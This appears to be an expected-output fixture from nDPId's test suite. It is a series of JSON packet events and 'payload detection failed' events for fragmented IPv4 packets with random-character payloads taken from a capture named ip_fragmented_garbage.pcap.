+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473598,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473662,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473682,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473737,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473803,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473871,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473934,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473956,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473966,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":473997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474007,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 